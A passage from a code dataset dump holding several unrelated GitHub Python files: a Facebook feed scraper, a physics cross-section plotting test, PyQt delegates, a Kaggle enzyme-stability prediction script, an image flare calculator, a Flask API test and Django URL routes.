cleaned = bleach.clean(content,\n tags=allowed_tags,\n attributes=allowed_attrs,\n strip=True)\n\n # handle malformed html after running through bleach\n tree = BeautifulSoup(cleaned, \"lxml\")\n return str(tree.html)\n\n\ndef sub_video_link(m):\n expr = r'\\&\\;source.+$'\n orig = m.group(1)\n unquoted = urllib.parse.unquote(orig)\n new = re.sub(expr, '\\\" target', unquoted)\n return new\n\n\ndef fix_video_redirect_link(content):\n ''' replace video redirects with direct link '''\n\n expr = r'\\/video_redirect\\/\\?src=(.+)\\\"\\starget'\n result = re.sub(expr, sub_video_link, content)\n return result\n\n\ndef sub_leaving_link(m):\n expr = r'\\&\\;h.+$'\n orig = m.group(1)\n unquoted = urllib.parse.unquote(orig)\n new = re.sub(expr, '\\\" target', unquoted)\n return new\n\n\ndef fix_leaving_link(content):\n ''' replace leaving fb links with direct link '''\n\n expr = r'https:\\/\\/lm\\.facebook\\.com\\/l.php\\?u\\=([a-zA-Z0-9\\=\\%\\&\\;\\.\\-\\_]+)\\\"\\s'\n result = re.sub(expr, sub_leaving_link, content)\n return result\n\n\ndef fix_article_links(content):\n # fix video links\n v_fix = fix_video_redirect_link(content)\n # fix leaving links\n l_fix = fix_leaving_link(v_fix)\n # convert links to absolute\n a_fix = l_fix.replace('href=\"/', 'href=\"{0}'.format(base_url))\n\n return a_fix\n\n\ndef fix_guid_url(url):\n ''' add base + strip extra parameters '''\n\n expr = r'([&\\?]?(?:type|refid|source)=\\d+&?.+$)'\n stripped = re.sub(expr, '', url)\n guid = urllib.parse.urljoin(base_url, stripped)\n return guid\n\n\ndef build_site_url(username):\n return urllib.parse.urljoin(base_url, username)\n\n\ndef build_title(entry):\n ''' build title from entry '''\n\n if entry:\n text = entry.get_text().strip()\n if text:\n\n if len(text) > max_title_length:\n last_word = text.rfind(' ', 0, max_title_length)\n text = text[:last_word] + '...'\n return text\n\n return 'Title not found'\n\n\ndef build_article(text, extra):\n ''' fix up article content '''\n\n content = str(text) + ' ' + str(extra)\n return strip_invalid_html(fix_article_links(content))\n\n\ndef parse_publish_time(json_string):\n ''' parse json data to get publish timestamp '''\n \n data = json.loads(json_string)\n\n page_insights = data['page_insights']\n if page_insights:\n \n for key in page_insights.keys():\n if ('post_context' in page_insights[key].keys()):\n\n publish_time = page_insights[key]['post_context']['publish_time']\n date = datetime.datetime.fromtimestamp(publish_time)\n\n return date\n\n\ndef extract_items(username, contents):\n ''' extract posts from page '''\n\n print('Extracting posts from page')\n\n main_content = SoupStrainer('div', {'id': 'recent'})\n soup = BeautifulSoup(contents, \"lxml\", parse_only=main_content)\n\n items = []\n\n if soup.div:\n for item in soup.div.div.div.children:\n item_link = item.find('a', text='Full Story')\n if not item_link:\n continue # ignore if no permalink found\n\n url = fix_guid_url(item_link['href'])\n \n # try to parse from json\n date = parse_publish_time(item['data-ft'])\n if date is None:\n # fallback to parsing from html\n date = parse(item.find('abbr').text.strip(), fuzzy=True)\n\n article_byline = ''\n article_text = ''\n article_extra = ''\n article_author = username\n\n if item.div.div:\n article_byline = item.div.div.get_text()\n article_author = item.div.div.find('h3').a.get_text(strip=True)\n\n # add photos/videos\n if item.div.div.next_sibling:\n article_text = item.div.div.next_sibling\n\n if item.div.div.next_sibling.next_sibling:\n article_extra = item.div.div.next_sibling.next_sibling\n\n # cleanup article\n article = build_article(article_text, article_extra)\n\n article_title = article_byline\n if not article_title or article_title == article_author:\n article_title = build_title(article_text)\n # get event title\n elif 'an event' in article_title:\n article_title = article_extra.find('h3').get_text(strip=True)\n\n\n items.append({\n 'url': url,\n 'title': article_title,\n 'article': article,\n 'date': date,\n 'author': article_author\n })\n\n print('{0} posts found'.format(len(items)))\n\n return items\n # else\n return None\n","repo_name":"irfancharania/fb-feed-gen","sub_path":"fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":6626,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"48"} +{"seq_id":"16024944561","text":"# Libraries to load\nimport math,random,numpy,Resonance,alpha,glob\nfrom scipy.interpolate import interp1d\nimport F4pi,yoda\nimport matplotlib.pyplot as plt\nimport os\n\nhadronic_interpolator_n = None\nhadronic_interpolator_c = None\n\ndef readHadronic_Current():\n global hadronic_interpolator_n\n global hadronic_interpolator_c\n F4pi.readCoefficients()\n # neutral: pi+pi-2pi0\n x = []\n y = []\n for (key,val) in sorted(F4pi.coeffs_neutral.iteritems()) :\n en = key\n s=en**2\n x.append(en)\n (npoints,wgt,wgt2) = val\n hadcurr,hadcurr_err = F4pi.hadronic_current(s,npoints,wgt,wgt2,omegaOnly=False)\n y.append(hadcurr)\n hadronic_interpolator_n = interp1d(x, y, kind='cubic',fill_value=\"extrapolate\")\n # charged: 2pi+2pi-\n x = []\n y = []\n for (key,val) in sorted(F4pi.coeffs_charged.iteritems()) :\n en = key\n s=en**2\n x.append(en)\n (npoints,wgt,wgt2) = val\n hadcurr,hadcurr_err = F4pi.hadronic_current(s,npoints,wgt,wgt2,omegaOnly=False)\n y.append(hadcurr)\n hadronic_interpolator_c = interp1d(x, y, kind='cubic',fill_value=\"extrapolate\")\n\ndef sigmaSM(s,mode) :\n # leptonic part contracted\n sqrts = math.sqrt(s)\n pre = 16.*math.pi**2*alpha.alphaEM(s)**2/3./s\n #prefactor of phase space\n pre *=(2.*math.pi)**4/2./s*Resonance.gev2nb\n if mode==\"neutral\": hadcurr = hadronic_interpolator_n(sqrts)\n if mode==\"charged\": hadcurr = hadronic_interpolator_c(sqrts) \n return pre*hadcurr\n\nreadHadronic_Current()\n\nlow_lim = 0.62\nupp_lim = 4.0\n\nxSM = []\nySM_n = []\nySM_c = []\n\nscale=low_lim\nwhile scale100.) : xp *=0.001\n sys=0.\n if(analysis==\"BABAR_2017_I1621593\") :\n if plot == \"d01-x01-y01\" :\n if(xp<1.2) :\n sys=(0.455*xp- 0.296)\n elif(xp<2.7) :\n sys = 0.031*yp\n elif(xp<3.2):\n sys=0.067*yp\n else :\n sys=0.072*yp\n else :\n sys=0.1*yp\n elif(analysis==\"BABAR_2012_I1086164\") :\n if(xp<1.1) :\n sys = 0.107*yp\n elif(xp<2.8) :\n sys = 0.024*yp\n elif(xp<4.) :\n sys = 0.055*yp\n else :\n sys = 0.085*yp\n ep = ep+sys\n #ep = math.sqrt(ep**2+sys**2)\n x.append(xp)\n y.append(yp)\n e.append(ep)\n\n# 2pi+2pi- data\nx_charged=[]\ny_charged=[]\ne_charged=[]\nfor analysis in analyses[\"charged\"] :\n readAnalysis(analysis,analyses[\"charged\"][analysis],x_charged,y_charged,e_charged)\n\n# pi+pi-2pi0 data\nx_neutral=[]\ny_neutral=[]\ne_neutral=[]\nfor analysis in analyses[\"neutral\"] :\n readAnalysis(analysis,analyses[\"neutral\"][analysis],x_neutral,y_neutral,e_neutral)\n \n# neutral\nplt.plot(xSM,ySM_n,color=\"blue\",label=\"SM\")\nplt.yscale(\"log\")\nplt.errorbar(x_neutral, y_neutral, e_neutral,color=\"black\",linestyle=\"None\",label=\"data\")\nplt.xlabel(\"$\\\\sqrt{s}$/GeV\")\nplt.ylabel(\"$\\\\sigma$/nb\")\nplt.xlim(0.7,3.0)\nplt.title(\"$e^+e^- \\\\to \\\\pi^+\\\\pi^- 2\\\\pi^0$\")\nplt.legend()\nplt.savefig(\"test_4pi_neutral.pdf\")\nplt.clf()\nplt.cla()\nplt.close()\n\n# charged\nplt.plot(xSM,ySM_c,color=\"blue\",label=\"SM\")\nplt.yscale(\"log\")\nplt.errorbar(x_charged, y_charged, e_charged,color=\"black\",linestyle=\"None\",label=\"data\")\nplt.xlabel(\"$\\\\sqrt{s}$/GeV\")\nplt.ylabel(\"$\\\\sigma$/nb\")\nplt.xlim(0.5,3.0)\nplt.ylim(0.005,100)\nplt.title(\"$e^+e^- \\\\to 2\\\\pi^+2\\\\pi^-$\")\nplt.legend()\nplt.savefig(\"test_4pi_charged.pdf\")\nplt.clf()\nplt.cla()\n \n \n","repo_name":"preimitz/DeLiVeR","sub_path":"src/form_factors/F4pi_test.py","file_name":"F4pi_test.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"830998730","text":"\"\"\"\nThis module contains Qt Delegates which define how to render or present\nView data.\n\"\"\"\n\n# external\nfrom PyQt4 import QtGui\n\n# internal\nfrom . import utils\n\n\nclass ResultsDelegate(QtGui.QStyledItemDelegate):\n \"\"\"A validation result delegate.\n\n This is used to render the stix-validator ValidationResults object which\n is attached to model items during validation.\n\n If an exception occurred during validition, the word \"Error\" will be\n presented.\n \"\"\"\n\n def displayText(self, value, locale=None):\n \"\"\"Return the text to display for a stix-validator ValidationResults\n object that is attached to a model item after validation..\n \"\"\"\n if value is None:\n return \"\"\n\n value = value.toPyObject()\n\n if isinstance(value, Exception):\n result = \"Error\"\n else:\n results = value.xml, value.profile, value.best_practices\n invalid = any(getattr(x, 'is_valid', None) is False for x in results)\n result = \"Invalid\" if invalid else \"Valid\"\n\n return super(ResultsDelegate, self).displayText(result, locale)\n\n\nclass BoolDelegate(QtGui.QStyledItemDelegate):\n \"\"\"Render boolean data in a model.\n\n By default, True will be rendered as \"true\" and False as \"false.\" This\n forces the intended capitalization.\n \"\"\"\n def displayText(self, value, locale=None):\n text = str(value.toPyObject())\n return super(BoolDelegate, self).displayText(text, locale)\n","repo_name":"bworrell/cutiestix","sub_path":"cutiestix/delegates.py","file_name":"delegates.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74566923986","text":"import os\n\nimport Levenshtein\nimport numpy as np\n#from plotly.offline import init_notebook_mode\nfrom sklearn.model_selection import GroupKFold\nfrom tqdm import tqdm\nimport torch\n\n#init_notebook_mode(connected=True)\nimport glob\nfrom scipy.stats import spearmanr\n\n#import plotly.express as px\nimport torch.nn as nn\nimport pandas as pd\nfrom scipy.stats import rankdata\nimport json\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\nfrom collections import defaultdict\nimport copy\nfrom torch.optim import AdamW\n\nfrom Logger import CSVLogger\n\nfrom Network import *\nfrom Dataset import *\n\nMULTIPROCESSING = False\nBOXSIZE = 16\nVOXELSIZE = 1\nN_FOLDS = 10\nMODELS_PATH = 'models'\nDEBUG = True\nDEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\nDESTABILIZING_MUTATIONS_ONLY = True\nAUGMENT_DESTABILIZING_MUTATIONS = False\nEARLY_STOPPING_PATIENCE = 30\nIS_DDG_TARGET = True\nWITH_PUCCI_SOURCE = True\nWITH_KAGGLE_DDG_SOURCE = True\n\n# switchers\nTRAIN = True\nWANDB_TRAIN_PROJECT = 'ThermoNetV2-train'\nWANDB_TRAIN_NAME = 'thermonetv2-7633-v2'\n\nOPTUNA = False\nOPTUNA_WANDB_PROJECT = \"ThermoNetV2-Optuna\"\nOPTUNA_TRIALS = 400\n\nWANDB_SWEEP = False\nWANDB_SWEEP_PROJECT = 'ThermoNetV2-sweep'\n\nSUBMISSION = True\n\n\nDEFAULT_PARAMS = {\n 'SiLU': False,\n 'diff_features': True,\n 'LayerNorm': False,\n 'GroupKFold': False, # only use for hyperopt\n 'epochs': 30,\n 'AdamW': False,\n}\n\n\n\n\n\nBEST_PARAMS = {**DEFAULT_PARAMS, **{'AdamW': True,\n 'C_dt_loss': 0.01,\n 'OneCycleLR': False,\n 'batch_size': 16,\n 'AdamW_decay': 1.3994535042337082,\n 'dropout_rate': 0.06297340526648805,\n 'learning_rate': 1e-2,\n 'conv_layer_num': 5,\n 'dropout_rate_dt': 0.3153179929570238,\n 'dense_layer_size': 74.1731281147114}}\n\n\n\n#try:\n#from kaggle_secrets import UserSecretsClient\n#user_secrets = UserSecretsClient()\n#WANDB_API_KEY = user_secrets.get_secret(\"WANDB_API_KEY\")\n\nprint('Running in Kaggle')\nWILDTYPE_PDB = '../input/novozymes-enzyme-stability-prediction/wildtype_structure_prediction_af2.pdb'\nPDB_PATH = '../input/thermonet-wildtype-relaxed'\nTRAIN_FEATURES_PATH = '../input/thermonet-features/Q3214.npy'\nTRAIN_TARGETS_PATH = ''\nTEST_CSV = '../input/novozymes-enzyme-stability-prediction/test.csv'\nTEST_FEATURES_PATH = '../input/thermonet-features/nesp_features.npy'\nPUBLIC_SUBMISSIONS=[\n '../input/rmsd-from-molecular-dynamics/submission_rmsd.csv', # LB: 0.507\n '../input/plldt-ddg-demask-sasa/deepddg-ddg.csv', # LB: 0.451\n '../input/novo-esp-eli5-performant-approaches-lb-0-451/submission.csv', # 0.451\n '../input/nesp-alphafold-getarea-exploration/submission.csv', # 0.407\n]\nTRAIN_FEATURES_DIR = '../input/14656-unique-mutations-voxel-features-pdbs/features'\n\n\n# test=np.load(TEST_FEATURES_PATH)\n#\n# exit()\n# except Exception as ex:\n# print('Running locally')\n# WILDTYPE_PDB = 'nesp/thermonet/wildtypeA.pdb'\n# PDB_PATH = 'nesp/thermonet/'\n# TRAIN_FEATURES_PATH = 'data/train_features/features.npy'\n# TRAIN_TARGETS_PATH = 'data/train_features/dataset.csv'\n# TEST_FEATURES_PATH = 'data/nesp/nesp_features.npy'\n# TEST_CSV = 'data/nesp/test.csv'\n# PUBLIC_SUBMISSIONS=glob.glob('data/nesp/public_submissions/*.csv')\n# TRAIN_FEATURES_DIR = 'data/train_features/'\n# WANDB_API_KEY='your_key_here'\n\nos.makedirs(MODELS_PATH, exist_ok=True)\n\n\n\n\ndef load_data():\n print(\"1. Loading csv datasets\")\n df = pd.read_csv(f'{TRAIN_FEATURES_DIR}/dataset.csv')\n\n print(df.shape)\n df.source = df.source.apply(eval)\n print(f'Total unique mutations: {len(df)}')\n\n df['features'] = df.apply(lambda r: f'{TRAIN_FEATURES_DIR}/{r.PDB_chain}_{r.wildtype}{r.pdb_position}{r.mutant}.npy', axis=1)\n df = df[df.features.apply(lambda v: os.path.exists(v))]\n\n print(df.shape)\n\n print(f'Total mutations with features: {len(df)}')\n\n if not WITH_PUCCI_SOURCE:\n df = df[df.source.apply(lambda v: v != ['pucci-proteins-appendixtable1.xlsx'])]\n\n if not WITH_KAGGLE_DDG_SOURCE:\n df = df[df.source.apply(lambda v: v != ['ddg-xgboost-5000-mutations-200-pdb-files-lb-0-40.csv'])]\n\n print(f'Total mutations after filtering: {len(df)}')\n\n df.features = [np.load(f) for f in tqdm(df.features, desc=\"2. Loading features\")]\n\n\n df_train = df\n\n if DESTABILIZING_MUTATIONS_ONLY:\n print('Keeping destabilizing mutations only')\n df_train = df_train[((df_train.ddG < 0)) & ((df_train.dT < 0) | df_train.dT.isna())].reset_index(drop=True).copy() # best for ddG\n elif AUGMENT_DESTABILIZING_MUTATIONS:\n print('Augmenting destabilizinb mutations')\n df_pos = df_train[df_train.ddG > 0].copy()\n df_neg = df_train[df_train.ddG < 0]\n print(df_pos.shape, df_neg.shape)\n df_pos.features = df_pos.features.apply(lambda f: np.concatenate([f[7:], f[:7]], axis=0))\n df_pos.ddG = -df_pos.ddG\n df_pos.dT = -df_pos.dT\n df_train = pd.concat([df_pos, df_neg], axis=0).sample(frac=1.).reset_index(drop=True)\n return df_train\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef gen_mutations(name, df,\n wild=\"VPVNPEPDATSVENVALKTGSGDSQSDPIKADLEVKGQSALPFDVDCWAILCKGAPNVLQ\"\"RVNEKTKNSNRDRSGANKGPFKDPQKWGIKALPPKNPSWSAQDFKSPEEYAFASSLQGGT\"\"NAILAPVNLASQNSQGGVLNGFYSANKVAQFDPSKPQQTKGTWFQITKFTGAAGPYCKAL\"\"GSNDKSVCDKNKNIAGDWGFDPAKWAYQYDEKNNKFNYVGK\"):\n result = []\n for _, r in df.iterrows():\n ops = Levenshtein.editops(wild, r.protein_sequence)\n assert len(ops) <= 1\n if len(ops) > 0 and ops[0][0] == 'replace':\n idx = ops[0][1]\n result.append([ops[0][0], idx + 1, wild[idx], r.protein_sequence[idx]])\n elif len(ops) == 0:\n result.append(['same', 0, '', ''])\n elif ops[0][0] == 'insert':\n assert False, \"Ups\"\n elif ops[0][0] == 'delete':\n idx = ops[0][1]\n result.append(['delete', idx + 1, wild[idx], '-'])\n else:\n assert False, \"Ups\"\n\n df = pd.concat([df, pd.DataFrame(data=result, columns=['op', 'idx', 'wild', 'mutant'])], axis=1)\n df['mut'] = df[['wild', 'idx', 'mutant']].astype(str).apply(lambda v: ''.join(v), axis=1)\n df['name'] = name\n return df\n\nif SUBMISSION:\n df_test = gen_mutations('wildtypeA', pd.read_csv(TEST_CSV))\n #display(df_test)\n\n\n\n\n\nmodels=[]\nfor i in range(8):\n model=e3nnNetwork().double()\n model.load_state_dict(torch.load(f'models/fold{i}.pt'))\n model=model.to(DEVICE)\n model.eval()\n models.append(model)\n\ntest_dataset=e3nnDataset_test(df_test[df_test.op == 'replace'])\n#test_dataset=e3nnDataset_test(df_test)\ntest_loader = DataLoader(test_dataset, batch_size=16,collate_fn=GraphCollate(test=True),num_workers=0, pin_memory=True)\n\npreds=[]\n\nfor batch in tqdm(test_loader):\n #pass\n for key in batch:\n batch[key]=batch[key].cuda()\n batch_preds=[]\n for model in models:\n with torch.no_grad():\n ddg_pred, dt_pred = model(batch)\n pass\n batch_preds.append(ddg_pred)\n batch_preds=torch.stack(batch_preds,0).mean(0)\n preds.append(batch_preds.cpu())\n\ntest_dataset=e3nnDataset_test(df_test[df_test.op == 'replace'],use_alphafold_structures=False)\ntest_loader = DataLoader(test_dataset, batch_size=32,collate_fn=GraphCollate(test=True),num_workers=0)\n\npreds_rosetta=[]\nwith torch.no_grad():\n for batch in tqdm(test_loader):\n\n for key in batch:\n batch[key]=batch[key].to(DEVICE)\n batch_preds=[]\n\n for model in models:\n ddg_pred, dt_pred = model(batch)\n batch_preds.append(ddg_pred)\n batch_preds=torch.stack(batch_preds,0).mean(0)\n preds_rosetta.append(batch_preds.cpu())\n\npreds=torch.cat(preds)\npreds_rosetta=torch.cat(preds_rosetta)\n\npreds=torch.stack([preds,preds_rosetta],0).mean(0)\n\ntest_ddg=preds.numpy()\n\n\n\nif SUBMISSION:\n #thermonet_models = [load_pytorch_model(f) for f in tqdm(glob.glob(f'artifacts/*/{WANDB_TRAIN_NAME}*.pt'), desc=f'Loading models {WANDB_TRAIN_NAME}')]\n\n #test_features = np.load(TEST_FEATURES_PATH)\n #test_ddg = np.stack([predict(model, test_features) for model in tqdm(thermonet_models, desc='Fold prediction')])\n #test_ddg = np.mean(test_ddg, axis=0).flatten()\n\n #df_test.loc[:, 'ddg'] = test_ddg\n # replacement mutations\n df_test.loc[df_test.op == 'replace', 'ddg'] = test_ddg\n # deletion mutations\n df_test.loc[df_test['op'] == \"delete\", 'ddg'] = df_test[df_test[\"op\"]==\"replace\"][\"ddg\"].quantile(q=0.25)\n # no mutations\n df_test.loc[df_test['op'] == \"same\", 'ddg'] = 0.\n\n df_test.rename(columns={'ddg': 'tm'})[['seq_id', 'tm']].to_csv('submission.csv', index=False)\n #get_ipython().system('head submission.csv')\n\n\n# # Ensemble\n#\n# Ensembling ThermoNetV2 with top public solutions\n\n# In[123]:\n\n\nif SUBMISSION:\n\n def ranked(f):\n return rankdata(pd.read_csv(f).tm)\n\n pred = 0.7 * ranked('../input/rmsd-from-molecular-dynamics/submission_rmsd.csv')+\\\n 0.3 * (ranked('../input/plldt-ddg-demask-sasa/deepddg-ddg.csv')+ \\\n ranked('../input/novo-esp-eli5-performant-approaches-lb-0-451/submission.csv')+ \\\n ranked('../input/nesp-alphafold-getarea-exploration/submission.csv') + \\\n ranked('submission.csv'))\n\n\n df = pd.read_csv('../input/novozymes-enzyme-stability-prediction/sample_submission.csv')\n df.tm = pred\n\n\n # equally weighted ensemble with https://www.kaggle.com/code/shlomoron/nesp-relaxed-rosetta-scores\n df.tm = rankdata(df.tm) + ranked('../input/nesp-relaxed-rosetta-scores/submission_rosetta_scores')\n\n\n df.to_csv('ensemble_submission.csv', index=False)\n #get_ipython().system('head ensemble_submission.csv')\n","repo_name":"Shujun-He/Novaenzymes","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":9591,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"46458130302","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 15 10:07:01 2020\r\n\r\n@author: Ewan Yeh Lin\r\n\"\"\"\r\n# =============================================================================\r\n# The program evaluates flare effect based on stadardized specification\r\n# 18844, in which a normal exposured image (IM1, with 225 grey level), a plane\r\n# black image (IM2) captured with the same exposure value as IM1 and an over-\r\n# exposured (normally 8x) image are fed.\r\n# A map (cnt_mtx) is generated and a result image (rgb_img) is saved to the \r\n# root file.\r\n# =============================================================================\r\nfrom re import L\r\nimport numpy as np\r\nimport cv2\r\nfrom numpy.lib.function_base import delete\r\nfrom . import filter as blm\r\n\r\nRATIO_E1_E3 = 8 \r\nRATIO_CONTOUR_REGION = 50/70\r\nTHRESHOLD = 0.1\r\nNUM_H, NUM_W = 7, 7\r\nVISUALIZATION_ON = False\r\ncontour_x_limit = [800,3200]\r\ncontour_y_limit = [400,2800]\r\n\r\n\r\n\r\ndef find_avg_intensity_in_contour(img, cnt):\r\n M = cv2.moments(cnt)\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = int(M[\"m01\"] / M[\"m00\"])\r\n tmp_mask = np.zeros_like(img)\r\n r = (cv2.contourArea(cnt) / np.pi)**0.5 * RATIO_CONTOUR_REGION\r\n tmp_mask = cv2.circle(tmp_mask,(cX,cY),int(r),255,-1)\r\n return np.sum(img[tmp_mask>0]) / (np.pi*r**2), tmp_mask\r\n\r\ndef find_avg_intensity_around_contour(img, cnt):\r\n# =============================================================================\r\n# The function calculates average intensity around a found contour in a \r\n# given image\r\n# img: input image\r\n# cnt: contour array\r\n# return: float \r\n# =============================================================================\r\n M = cv2.moments(cnt)\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = int(M[\"m01\"] / M[\"m00\"])\r\n r = (cv2.contourArea(cnt) / np.pi)**0.5\r\n d = int((1 + RATIO_CONTOUR_REGION) * r)\r\n tmp_mask = np.zeros_like(img)\r\n tmp_mask = cv2.circle(tmp_mask,(cX - d,cY),int(r * RATIO_CONTOUR_REGION),255,-1)\r\n tmp_mask = cv2.circle(tmp_mask,(cX + d,cY),int(r * RATIO_CONTOUR_REGION),255,-1)\r\n tmp_mask = cv2.circle(tmp_mask,(cX,cY - d),int(r * RATIO_CONTOUR_REGION),255,-1)\r\n tmp_mask = cv2.circle(tmp_mask,(cX,cY + d),int(r * RATIO_CONTOUR_REGION),255,-1)\r\n\r\n return np.sum(img[tmp_mask>0]) / (np.pi*r**2) / 4, tmp_mask\r\n\r\ndef remove_adjacent_cnts(contours):\r\n deleted = []\r\n for i in range(len(contours)):\r\n for j in range(i+1, len(contours)):\r\n if (__dist(contours[i], contours[j]) < 20):\r\n deleted.append(j)\r\n return np.delete(contours, deleted)\r\n\r\ndef __dist(cnt1, cnt2):\r\n return ((cnt1[0] - cnt2[0])**2 + (cnt1[1] - cnt2[1])**2)**0.5\r\n\r\ndef run(imWhite_1x, imBlack_1x, imWhite_8x):\r\n \r\n result_img = imWhite_1x.copy()\r\n\r\n imWhite_1x = cv2.cvtColor(imWhite_1x, cv2.COLOR_BGR2GRAY)\r\n imBlack_1x = cv2.cvtColor(imBlack_1x, cv2.COLOR_BGR2GRAY)\r\n imWhite_8x = cv2.cvtColor(imWhite_8x, cv2.COLOR_BGR2GRAY)\r\n\r\n\r\n filt_img = blm.clc_blm(imWhite_1x,0.01,0.2)\r\n thr_tst = np.zeros_like(imWhite_1x)\r\n thr_tst[filt_img>THRESHOLD] = 255\r\n\r\n ret, thr_imWhite_1x = cv2.threshold(imWhite_1x,THRESHOLD,255,cv2.THRESH_BINARY_INV)\r\n contours, hierarchy = cv2.findContours(thr_tst, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n\r\n cnt_list = []\r\n cnt_center_list = np.array((0,0))\r\n mask = np.zeros_like(imWhite_1x)\r\n ### Check performance of coontour-finding process\r\n ### TODO: Exception for contours noise within\r\n for c in contours:\r\n if cv2.contourArea(c) > 5000 and cv2.contourArea(c) < 12000 and c[0][0][1] > contour_y_limit[0] and c[0][0][1] < contour_y_limit[1] and c[0][0][0] > contour_x_limit[0] and c[0][0][0] < contour_x_limit[1]: # c[0][0][0]>150 -> temporal solution\r\n cv2.drawContours(mask, [c], -1, 255, -1)\r\n M = cv2.moments(c)\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = int(M[\"m01\"] / M[\"m00\"])\r\n cnt_center_list = np.c_[cnt_center_list,np.array((cX,cY))]\r\n cnt_list.append(c)\r\n cnt_center_list =cnt_center_list.transpose((1,0))[1::,:]\r\n cnt_center_list = remove_adjacent_cnts(cnt_center_list)\r\n print(cnt_center_list)\r\n ### Calculate average intensity within each contour\r\n\r\n cnt_info_list = []\r\n for c in cnt_list:\r\n M = cv2.moments(c)\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = int(M[\"m01\"] / M[\"m00\"])\r\n yb3,_ = find_avg_intensity_in_contour(imWhite_8x, c)\r\n yb2, mask_b = find_avg_intensity_in_contour(imBlack_1x, c)\r\n yw1, mask_w = find_avg_intensity_around_contour(imWhite_1x, c)\r\n f = (yb3 / RATIO_E1_E3 - yb2) / yw1 * 100\r\n cnt_info_list.append([cX,cY,f])\r\n result_img[mask_b>0,2] = 255\r\n result_img[mask_w>0,0] = 255\r\n cv2.putText(result_img, str(np.round(f,2)), (c[0][0][0],c[0][0][1]), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 255), 1, cv2.LINE_AA)\r\n\r\n\r\n\r\n ### sorting\r\n cnt_mtx = np.zeros((NUM_H,NUM_H))\r\n for i in range(0,NUM_H):\r\n tmp_arr = np.array(cnt_info_list[i*NUM_H:(i+1)*NUM_H])\r\n\r\n arg = np.argsort((tmp_arr[:,0]))\r\n # print (arg)\r\n # print (tmp_arr)\r\n c = 0\r\n for idx in arg:\r\n cnt_mtx[NUM_H - i -1,c] = tmp_arr[idx,2]\r\n c += 1\r\n print (np.mean(cnt_mtx))\r\n\r\n return np.mean(cnt_mtx), result_img\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n res, result_im = run(\r\n cv2.imread('white_1x.png'),\r\n cv2.imread('white_8x.png'),\r\n cv2.imread('blk_1x.png')\r\n )\r\n","repo_name":"ylin1992/VR_flare_calculator","sub_path":"flare/clc_flare.py","file_name":"clc_flare.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9913958582","text":"import json\n\nfrom classification_titanic.config import config\nfrom classification_titanic.processing.data_management import load_dataset\n\n\ndef test_prediction_endpoint_validation_200(flask_test_client):\n # Load the test data from the classification_titanic package\n test_data = load_dataset(file_name=config.TESTING_DATA_FILE)\n post_json = test_data.to_json(orient='records')\n\n # Predict\n response = flask_test_client.post('/v1/predict/classification',\n json=post_json)\n\n # Test\n assert response.status_code == 200\n response_json = json.loads(response.data)\n\n # Check of correct number of errors removec if any\n if response_json.get('errors') is None:\n assert len(response_json.get('predictions')) == len(test_data)\n else:\n assert len(response_json.get('predictions')) + \\\n len(response_json.get('errors')) == len(test_data)\n","repo_name":"JCupe17/deploying-ml-test","sub_path":"packages/ml_api/tests/test_validation.py","file_name":"test_validation.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8032828053","text":"from django.contrib import admin\nfrom django.urls import path\n\nfrom . import views as v\n\n\nurlpatterns = [\n path('', v.index, name='index'),\n path('exercises-list/', v.exercises_list, name='exercises-list'),\n path('create-exercise/', v.create_exercise, name='create-exercise'),\n path('exercise-detail/', v.exercise_detail, name='exercise-detail'),\n path('delete-exercise/', v.delete_exercise, name='delete-exercise'),\n path('edit-exercise/', v.edit_exercise, name='edit-exercise'),\n\n \n\n path('weight-progression/', v.weight_progression, name='weight-progression'),\n path('delete-weight/', v.delete_weight_date, name='delete-weight'),\n\n]\n\nurlpatterns += [ \n path('trainer-request/', v.trainer_request, name='trainer-request'),\n path('trainers-list/', v.trainers_list, name='trainers-list'),\n path('my-clients/', v.my_clients, name='my-clients'),\n path(\"profile/\", v.profile, name=\"profile\"),\n path('my-account/', v.my_account, name='my-account'),\n \n #path('create-exercise-instance/', v.create_exercise_intstance, name='create-exercise-instance'),\n path('create-day/', v.create_day, name='create-day'),\n path('day-list/', v.day_list, name='day-list'),\n path('day-list/', v.day_list_trainer, name='day-list-trainer'),\n path('add-day/', v.add_day, name='add-day'),\n path('day-detail/', v.day_detail, name='day-detail'),\n\n path('add-exercise-instance/', v.add_exercise_intstance, name='add-exercise-instance'),\n path('add-given-set/', v.add_given_set, name='add-given-set'),\n path('add-done-set/', v.add_done_set, name='add-done-set'),\n\n path('trainer-response/', v.trainer_response, name='trainer-response'),\n path('trainer-response-yes/', v.trainer_response_yes, name='trainer-response-yes'),\n path('trainer-response-no/', v.trainer_response_no, name='trainer-response-no'),\n path('cancel-request/', v.cancel_request, name='cancel-request'),\n\n path('edit-profile/', v.edit_profile, name='edit-account'),\n\n path('exercise-instance-detail/', v.exercise_instance_detail, name='exercise-instance-detail'),\n path('add-review/', v.add_review, name='add-review'),\n path('add-performance/', v.add_performance, name='add-performance'),\n\n 